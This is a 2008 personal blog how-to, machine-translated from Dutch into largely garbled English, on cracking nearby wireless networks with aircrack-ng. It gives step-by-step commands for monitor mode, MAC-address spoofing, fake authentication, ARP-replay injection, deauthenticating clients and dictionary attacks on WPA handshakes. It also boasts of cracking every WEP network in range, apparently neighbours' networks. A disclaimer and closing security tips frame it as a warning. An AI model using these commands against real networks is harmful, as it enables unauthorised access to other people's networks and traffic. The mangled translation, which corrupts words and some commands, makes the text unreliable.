Copyright (c) 1999-2008 Maurice de Bijl
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Linux  How-to`s  Wireless  Hacking
HAT I wireless network usurp(translated)
Languages:Read in original language(Dutch) Translate to English Deutsche Übersetzung Tools:Printer friendly versionDownload article as PDFBookmark:Bookmark this page in  your browserBookmark this page on GoogleBookmark this page on DiggSave this article op del.icio.usGive this article an eKudo
author: Maurice, published: 2008-08-24, last update: 2008-08-22, translated: 2008-11-20 nl>en, popularity: 3083 page requests3083 page requests 3000+



This article has been translated. This translation is probably of bad quality, click here for an online translation with Google.
Click here for the original Dutch article

'Wardriving ... is one vigor whereby you drive around with one motor-car and one digital computer uitgerust with Wi-Fi-equipment wiki(). Because I what napkin orientated have been, have been I not within the motor-car sustained solely have been wonted from the sitting-room the trick gegaan. Home worn the workbench. Warsitting say solely. Within this section my experience via the usurp with wireless network within my vicinity...

!!! DISCLAIMER !!!

This is one educative section, not intentional to persons upon within typeset until the hacken with another man's wireless network. Who is, like yours probably know, punishable within The Netherlands and very many other land. I have solely WEP keys creaking and WPA slogan try out within usurp. I have my no admittance supply until another man's network without our knowledge the proprietor(). Namur, SSIDs and MAC-addressen one's sham. I trial with this section persons within warn who WEP-encryption insufficient is.

This section write on my finding. It is not my purpose to one pace-until-pace manual within write, with because this within OX (whether very Linux rationing) and driver distinction. The commandline examples within this section are in front Open 11 64-bit in combination with this hardware:

Acer File name extension 5220 laptop computer
Broadcom BCM94311MCG wlan mini-PCI (wlan0 within the examples)
Ubiquiti XPress Express letter Card (Athenian 5006 frites, ath0 within the examples)

The examples may too for other than rationing used turn. Until Ubuntu for instance stain yours everywhere 'sudo' voortypen . Otherwise is one second wifi-ticket like I have not necessary.

Hardware preparation

What yours necessary hebt is one laptop computer with one (on-board) wifi frites who ranch sustain is being whilst Linux. Lucky had I yet such a laptop computer recline.

terminals.jpg


Software preparation

Whilst Fart zul yours too well-being tools have, solely the utmost (gratuitous) tools are in front Linux written down. Worn my laptop computer run time Open 11. Thus when yours Linux hebt with one goedwerkende wifi driver pelvis yours yet one wholly offset.

Packet injection
Do near it yet packet injection and yours have been ready. It is proper not per se necessary, solely the shortened the tense with the usurp with one wifi network well-being immense. Yours driver stain the well-being sustain and within my case was worth the my what trouble to the spurt within sustain. Yours stain thus not be frightened with the fact who yours themselves momentarily one gepatche driver stain hercompileren.

Like I yet cash indemnity have I as well as a outer wifi ticket gekocht, this has one Athenian 5006 frites. Too towards this was worth the what trouble to the spurt within sustain.

Aircrack
To wireless network within usurp have I way ready-made with Aircrack. Question of download, compile and fit up:

wget http:/download.aircrack-ng.org/aircrack-ng-1.0-rc1.tar.gz
tar zxvf aircrack-ng-1.0-rc1.tar.gz
certificate of deposit aircrack-ng-1.0-rc1
make-up
make-up install

Otherwise one's yonder superiority version disposable solely yonder had I problem with, whereby the VDU style with airmon-ng not was effective:

/usr/sbin/airmon-ng: line 357: /sys/class/ieee80211/phy0/add_iface: No such line up or directory
mon0: unknown interface: No such diversion

VDU style
Favour yours wireless network can usurp, stain yours yours netwerkkaart within VDU style standing. This pitcher worn two way: dedicated whether shareware (ground who I yonder themselves upon gives). Dedicated stand for who yours yours present connexion loss, shareware keeps within who yours one extra VDU network interface production, next to yours present. Thus can yours yet yours wireless resident connexion keep whilst yours the monitor have been.

Hither what examples to the interface within (dedicated) VDU style within typeset.

Broadcom within VDU style typeset:

ifconfig wlan0 down
iwconfig wlan0 style VDU
ifconfig wlan0 up

Broadcom VDU style weather swell:

ifconfig wlan0 down
iwconfig wlan0 style management science
ifconfig wlan0 up

Towards the Ubiquiti was effective this not and wax this necessary:

wlanconfig ath0 destroy
wlanconfig ath0 creation wlandev wifi0 wlanmode VDU

And weather swell:

wlanconfig ath0 destroy
wlanconfig ath0 creation wlandev wifi0 wlanmode management science

To one extra VDU interface within creeren with Aircrack you have iw necessary:

mkdir iw
certificate of deposit iw
wget http:/dl.aircrack-ng.org/iw.tar.bz2
tar xjf iw.tar.bz2
make-up
make-up install

Then can yours, next to the regular wireless diversion, one VDU diversion creeren with (until the Broadcom):

sudo airmon-ng start wlan0

Now is yonder one mon0 diversion gecreerd. And weather swell:

sudo airmon-ng stopper wlan0

Towards the Ubiquiti is effective the rope somewhat the reverse:

airmon-ng start wifi0

And weather out of:

airmon-ng stopper ath1

I way this shareware way otherwise not regularly, because the netwerkverbinding with the Broadcom then tragedy is and sometimes fall off.

Network think

Usurp treshold with the think with network. Hither can yours the standard wifi mananager until use with yours Ox, whether one tool who towards Aircrack sit:

aireplay-ng 9 ath0

whether one more gespecialeerde tool like Kismet, who too more data via the used encryption sum up. Start do yours through the drivernaam, devicenaam and one themselves verzonnen reputation with within yield.

Until Broadcom:
kismet c b43,wlan0,bla

Until Ubiquity:

kismet c ath5k,ath0,bla

Themselves way I next to it too WiFiFofum worn my fart smartphone in combination with one bluetooth GPS module.

What yours stain remember with the network who yours wilt usurp is:
ESSID (reputation with the network)
BSSID (MAC-address )
Strait

Otherwise may the first network yet toegevoegd turn the scoreboard tabulation: three vacant network without encryption, whose 2 one resident connexion have. The third is effective not, probably through MAC percolator.

MAC percolator

Solely MAC percolator is not one obstacle. It is one question of wait until yonder one clientèle connexion and who MAC petition use whenever the clientèle weather off-load is:

ifconfig wlan0 down
ifconfig wlan0 hw ether 001234567890:::::
ifconfig wlan0 up

Procedure WEP

To one WEP network within usurp stain yours packet gather. With this packet pitcher the WEP-key gereconstrueerd turn. Next to it one's yonder way to more packet within generate so that the usurp sometimes yet within 5 minutes given is. I have my knowledge hither opgedaan.

IVs gather
The usurp with WEP treshold with the gather with special WEP packet, IVs named. The one's one species initializatie packet, will yonder remaining not via swerve (because I the themselves nothing weather). Whenever yonder sufficiently IVs one's collector, pitcher one WEP key creaking turn.

Type within one terminal:

airodump-ng c 2 -bssid 001A2B3C4D5E::::: w output ath0

...worthy
2 it is kanaalnummer
001A2B3C4D5E::::: is the BSSID with the network
ath0 is the netwerkinterface who within VDU style realm
output is one prefabricated until the line up who weggeschreven turn

Yours sees now one survey with data with the network. Whenever yonder clientèle obligor one's zie yours thence too the MAC-petition. Very skillful until MAC petition spoofing.

Falsetto voice authenticatie
To presently more IVs within generate via ARP requiem stain the MAC petition with yours netwerkinterface well-known one's towards the accesspoint with the 'target network. Vacant one new terminal and type:

aireplay-ng 1 6000 o 1 q 10 e Network to 001A2B3C4D5E::::: h 000102030405::::: ath0

...worthy
6000 the period within milliseconden on which the fake authenticatie repeated stain turn (not ever necessary)
Network is the reputation with the network
001A2B3C4D5E::::: is the BSSID with the network
000102030405::::: it is MAC petition with yours netwerkinterface
ath0 is the netwerkinterface who within VDU style realm

More IVs generate: ARP requests
To the ARP requests the ether within within transmit do yours one:

aireplay-ng 3 b 001A2B3C4D5E::::: h 000102030405::::: ath0

...worthy
001A2B3C4D5E::::: is the BSSID with the network
000102030405::::: it is MAC petition with yours netwerkinterface
ath0 is the netwerkinterface who within VDU style realm

Have patience, solely whenever the packet 'aanslaan', you have within one mum with tense sufficiently IVs.

Usurp
To worn the collector packet one fit out of wear do yours with out of the directory with the .cap line up:

aircrack-ng z b 001A2B3C4D5E::::: *.cap

...worthy
001A2B3C4D5E::::: is the BSSID with the network

The first network usurp was worth my roughly one o'clock. Principally because I not ranch cut the more intercourse within generate. Yen network had I not more than 5 minutes necessary, one tiny dertigduizend packet wax sufficiently.

To the noise what facile within take have I one script ready-made who yours from gnome can start: crack_wep.sh

Procedure WPA and WPA2

Verify ranch whether the goes to one WPA/PSK network, each other shape with encryption hoof yours not even upon within encroach upon. The procedure towards WPA (and WPA2) is the reverse then towards WEP. WPA is solely within usurp with one would-be 'brute force attaché whether 'dictionary attaché. Towards one intrepid force attaché turn all the potential passphrases geprobeerd. This is tijdsintensief and through that unpractical. One dictionary attaché make way with vocabulary to slogan within guess. Until both attaché stain yours well-being first the '4-way-handshaking intercept. I have my knowledge hither opgedaan.

Wait worn the 4-way handshaking
Rope like towards WEP encroach upon we with the dump with packet unpleasant one line up. This turn not to IVs within gather, solely to the 4-way handshaking within intercept:

airodump-ng c 2 -bssid 001A2B3C4D5E::::: w output ath0

...worthy
2 it is kanaalnummer
001A2B3C4D5E::::: is the BSSID with the network
output is one prefabricated until the line up who weggeschreven turn
ath0 is the netwerkinterface who within VDU style realm

Rope like towards WEP zie yours too now weather one survey with data with the network. Whenever yonder clientèle obligor one's zie yours thence too the MAC-petition and who you have necessary whenever yours the handshaking wilt strain with obliging with the-authorisatie.

Handshaking strain
One aangemelde clientèle can yours try out ready within state through the correct the-authorisatie packet within transmit. When yours success hebt will one clientèle themselves then retry upon within state towards the accesspoint. And near it is being the 4-way handshaking used who yours necessary hebt. thus

aireplay-ng 0 1 to 001A2B3C4D5E::::: c 00AABBCCDDEE::::: ath0

...worthy
1 it is number of turn who the packet gestuurd will turn, experimental hither solely with
001A2B3C4D5E::::: is the BSSID with the network
00AABBCCDDEE::::: it is MAC petition with one aangemelde clientèle
ath0 is the netwerkinterface who within VDU style realm

Dictionary attaché
Whenever yours the 4-way handshaking hebt (up to now it is towards my solely success to this worn my private network within intercept), can yours one dictionary attaché take. Download one vocabulary somewhere worn resident and do one effort.

From the directory with the .cap line up:

aircrack-ng z b 001A2B3C4D5E::::: *.cap w ..dictionary/dictionary.txt

worthy
001A2B3C4D5E::::: is the BSSID with the network
..dictionary/dictionary.txt the vocabulary is

Inference

The 4-way handshaking gather is pauper then I dacht because the the-authoriseren with clientèle towards my not wish succeed (and because I within impatient have been to wait until clientèle themselves announce).

The pitcher too one's who I yet rope within side road sit with the network, because save one good reception stain the wifi diversion who yours used as well as a wide zendbereik have. Yours stain viz. not solely the accesspoint may reach, solely too the clientèle who obligor one's.

Scoreboard
The scoreboard up to now:

Number of network visual 32, whose 8 not one SSID except
Of this 6 vacant network, 13 secure with WEP, 8 secure with WPA and 5 secure with WPA2
With the vacant network were yonder 4 within reach, 1 yonder with wax secure with MAC address percolator
All the 5 with WEP secure network one's creaking, the utmost within 5 minutes
With the with WPA secure network were yonder 5 within reach, all WPA/PSK. I have yet not one 4-way handshaking may intercept
With the with WPA2 secure network were yonder 2 within reach. I have the 4-way handshaking may intercept with 1 thence, viz. my private network.


Beveiligingstips

Very many persons tell the near to they network within secure, because "who wish yonder now they network worn?". whether "the make my not out of when they with my resident liaison way take".

Rather, my make the well-being out of. You pitcher via your liaison private company spam transmit, whether vex things take what for you sooner nameless wish stay. Next to it, when the first barricade with fuse is doorbroken sit you too in a minute worn yours resident network. With packetsniffing may slogan supersede turn with for instance yours Fart-shareware with substantial documents, solely too slogan with internetsites whether creditcard data.

Next to it comes the too regularly until who persons who they wireless network not whether scarcely secure too the slogan within they hawser- whether adslmodem whether way not try on, so that the standard slogan used is being. Not smart, worn resident one's this slogan wonted within think. And wist yours who the handshake with the MAC-petition with one way you pitcher see who trademark it is? And who one wireless way this MAC petition wonted the ether within wheel?

Within this section stood I momentarily the side with you, to see what yonder potential is. Way this section to yours network within secure. Hither one two tips:

Way minimum WPA/PSK with one ranch slogan (who not within think is within someone vocabulary)
Way not one standard slogan until yours way and hawser/adslmodem


Tags  Linux  How-to`s  Wireless  Hacking

end
Copyright © 1999-2008 Maurice de Bijl
This article was published on 2008-08-24
The last update was done on 2008-08-22
Languages:Read in original language(Dutch) Translate to English Deutsche Übersetzung Tools:Printer friendly versionDownload article as PDFBookmark:Bookmark this page in  your browserBookmark this page on GoogleBookmark this page on DiggSave this article op del.icio.usGive this article an eKudo

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